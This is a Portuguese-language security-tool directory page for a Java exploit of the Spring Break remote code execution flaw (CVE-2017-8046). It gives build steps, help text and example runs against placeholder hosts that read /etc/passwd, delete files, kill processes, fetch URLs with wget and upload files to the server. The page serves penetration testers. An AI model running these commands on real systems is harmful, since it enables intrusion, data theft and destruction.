Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
spring-break_cve-2017-8046 — Este é um programa Java que explora a vulnerabilidade Spring Break (CVE-2017-8046). | Kitploit
Ferramentas/GitHubGitHub/m3ssap0/spring-break_cve-2017-8046
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingFerramenta de Acesso Remoto
GitHubm3ssap0/spring-break_cve-2017-8046

spring-break_cve-2017-8046

Este é um programa Java que explora a vulnerabilidade Spring Break (CVE-2017-8046).

Ver Repositório
17111há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

spring-break_cve-2017-8046

Este é um programa Java que explora a vulnerabilidade Spring Break (CVE-2017-8046).

Este software foi escrito para ter o mínimo de dependências externas possível.

DISCLAIMER

Esta ferramenta é destinada a engenheiros de segurança e profissionais de appsec para avaliações de segurança. Use esta ferramenta de forma responsável. Não me responsabilizo pela forma como qualquer pessoa utiliza esta aplicação. NÃO sou responsável por quaisquer danos causados ou crimes cometidos ao usar esta ferramenta.

Informações da Vulnerabilidade

  • CVE-ID: CVE-2017-8046
  • Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
  • Descrição: Solicitações PATCH maliciosas enviadas para servidores spring-data-rest em Pivotal Spring Data REST versões anteriores a 2.5.12, 2.6.7, 3.0 RC3, Spring Boot versões anteriores a 2.0.0M4, e Spring Data release trains anteriores a Kay-RC3 podem usar dados JSON especialmente elaborados para executar código Java arbitrário.
  • Link do fornecedor: https://pivotal.io/security/cve-2017-8046

Como gerar um JAR executável

Aqui estão alguns passos a seguir para gerar um JAR executável, com todas as dependências incluídas, que pode ser usado para lançar o exploit.

com Maven

O seguinte comando Maven pode ser executado:

root@kitploit:~
mvn clean compile package

com Eclipse

Os seguintes passos podem ser realizados:

  1. resolva todas as dependências/bibliotecas externas;
  2. clique com o botão direito no projeto Eclipse e vá em Run As > Run Configurations;
  3. clique com o botão direito em Java Application e depois em New;
  4. escolha um nome e defina a classe principal para com.afs.exploit.spring.SpringBreakCve20178046;
  5. clique no botão Apply;
  6. feche a janela e volte à janela principal do Eclipse;
  7. clique com o botão direito no projeto Eclipse e clique em Export...;
  8. encontre e escolha Runnable JAR file (sob o ramo Java);
  9. na janela seguinte:
    1. escolha a Launch configuration correta criada anteriormente;
    2. escolha um Export destination;
    3. escolha a opção Extract required libraries into generated JAR;
    4. clique no botão Finish.

Ajuda

root@kitploit:~
Usage:
   java -jar spring-break_cve-2017-8046.jar [options]
Description:
   Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).
Options:
   -h, --help
      Prints this help and exits.
   -u, --url [target_URL]
      The target URL where the exploit will be performed.
      You have to choose an existent resource.
   -cmd, --command [command_to_execute]
      The command that will be executed on the remote machine.
   -U, --upload [file_to_upload]
      File to upload to the remote machine. Will be uploaded to the current working
      directory of the java process. Warning: this will only succeed on a server running
      JRE-1.7 or later.
   --remote-upload-directory [/some/existing/path/]
      Optional. Server will attempt to write the uploaded file to this directory on the
      filesystem. Specified directory must exist and be writeable.
   --cookies [cookies]
      Optional. Cookies passed into the request, e.g. authentication cookies.
   -H, --header [custom_header]
      Optional. Custom header passed into the request, e.g. authorization header.
   -k
      Skip SSL validation
   --clean
      Optional. Removes error messages in output due to the usage of the
      exploit. It could hide error messages if the request fails for other reasons.
   --error-stream
      Optional. In case of errors the command will fail and the error stream will
      not be returned. This option can be used to relaunch the remote command
      returning the error stream.
   -v, --verbose
      Optional. Increase verbosity.

Exemplos

root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean

Por favor, note que o recurso/URL referenciado deve existir!

Aplicação vulnerável

Uma aplicação vulnerável pode ser encontrada aqui.

Autores

  • Antonio Francesco Sardella - implementação principal - m3ssap0
  • Yassine Tioual - melhoria de cabeçalho HTTP - nisay759
  • Robin Wagenaar - pela sugestão de usar a operação de patch 'remove' em vez de 'replace' e pela funcionalidade de upload de arquivos - RobinWagenaar

Licença

Este projeto está licenciado sob a Apache License Versão 2.0 - veja o arquivo LICENSE.txt para detalhes.

Agradecimentos

  • Man Yue Mo o pesquisador de segurança que descobriu a vulnerabilidade
Baixar ferramenta